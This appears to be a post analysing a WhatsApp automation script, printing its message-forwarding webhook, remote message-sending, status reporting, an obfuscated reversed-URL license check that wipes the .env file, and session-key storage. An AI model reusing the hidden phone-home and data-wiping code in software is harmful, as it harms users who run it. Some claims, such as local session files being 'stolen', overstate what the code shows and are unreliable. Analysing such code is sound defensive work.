📲 Since nobody had the WhatsApp Script, i saw a "whatsapp sender" that did similar things:

sock.ev.on("messages.upsert", async (messageData) => {
    try {
      const message = messageData.messages[0];
      if (message.key.fromMe === false && messageData.type === "notify") {
        const webhookData = [];
        let messageText = message.message.conversation ?? null;

        if (message.message.buttonsResponseMessage != null) {
          messageText = message.message.buttonsResponseMessage.selectedDisplayText;
        }

        if (message.message.listResponseMessage != null) {
          messageText = message.message.listResponseMessage.title;
        }

        const remoteParts = message.key.remoteJid.split("@");
        const remoteType = remoteParts[1] ?? null;
        const isGroup = remoteType !== "s.whatsapp.net";

        if (messageText !== "" && !isGroup) {
          webhookData.remote_id = message.key.remoteJid;
          webhookData.sessionId = sessionId;
          webhookData.message_id = message.key.id;
          webhookData.message = messageText;
          sentWebHook(sessionId, webhookData);
        }
      }
    } catch (error) {
      // Handle error silently
    }
  });

What's stolen: Every incoming private message (non-group) with:

▶️Who sent it (phone number)
▶️What they said
▶️Message metadata
▶️Which victim account received it

REMOTE COMMAND EXECUTION

const sentWebHook = (sessionId, data) => {
  const webhookUrl = process.env.APP_URL + "/api/send-webhook/" + sessionId;
  try {
    axios.post(webhookUrl, {
      from: data.remote_id,
      message_id: data.message_id,
      message: data.message
    }).then(function (response) {
      if (response.status === 200) {
        const session = getSession(response.data.session_id);
        sendMessage(session, response.data.receiver, response.data.message);
        // ^ ATTACKER CAN REMOTELY SEND MESSAGES FROM YOUR ACCOUNT
      }
    })
  }
}

What happens:

▶️Script sends stolen message to attacker's server
▶️Attacker's server responds with commands
▶️Script executes commands (send messages, etc.)

SESSION STATUS REPORTING

const setDeviceStatus = (sessionId, status) => {
  const statusUrl = process.env.APP_URL + "/api/set-device-status/" + sessionId + "/" + status;
  try {
    axios.post(statusUrl)  // REPORTS WHEN SESSIONS ARE CREATED/DELETED
  }
}
setDeviceStatus(sessionId, 0);

What's stolen:

Real-time status of all compromised accounts:

▶️When they come online/offline
▶️When sessions are created/deleted
▶️Which accounts are active

LICENSE CHECK & SELF-DESTRUCT

setInterval(() => {
  const licenseUrl = "kcehc-yfirev/ipa/zyx.sserpl.ipaved//:sptth".split("").reverse().join("");
  // Decodes to: "https://dev-panel.xyz/api/verify-check"

  axios.post(licenseUrl, {
    from: appUrl,    // Your server URL
    key: siteKey     // Your license key
  }).then(function (response) {
    if (response.data.isauthorised === 401) {
      fs.writeFileSync(".env", "");  // SELF-DESTRUCTS YOUR CONFIG
    }
  })
}, 604800000);  // Every 7 days

What happens:

▶️Script phones home every 7 days to attacker's server
▶️If attacker marks you as unauthorized
▶️Script DELETES your .env file (destroys your configuration)

SESSION FILE THEFT

if (!isLegacy) {
  ({ state: authState, saveCreds } = await useMultiFileAuthState(getSessionsDir(sessionFileName)));
}

What's stolen locally (in ./sessions/ folder):

▶️creds.json - MASTER encryption keys
▶️app-state-sync-*.json - Chat encryption keys
▶️sessions/*.json - Individual chat session keys
▶️[sessionId]_store.json - Chat history and contacts

These files contain everything needed to clone the WhatsApp session.

USER SCANS QR CODE
        ↓
[1] Script captures WhatsApp auth tokens
        ↓
[2] Saves tokens locally (./sessions/)
        ↓
[3] Reports "device online" to attacker
        ↓
[4] Every incoming message →
        ↓
[5] Extracts: [who][what][when]
        ↓
[6] Sends to: https://[ATTACKER_SERVER]/api/send-webhook/
        ↓
[7] Attacker can respond with commands
        ↓
[8] Script executes commands (send messages, etc.)
        ↓
[9] Every 7 days → Phone home for authorization
        ↓
[10] If unauthorized → Delete .env file (self-destruct)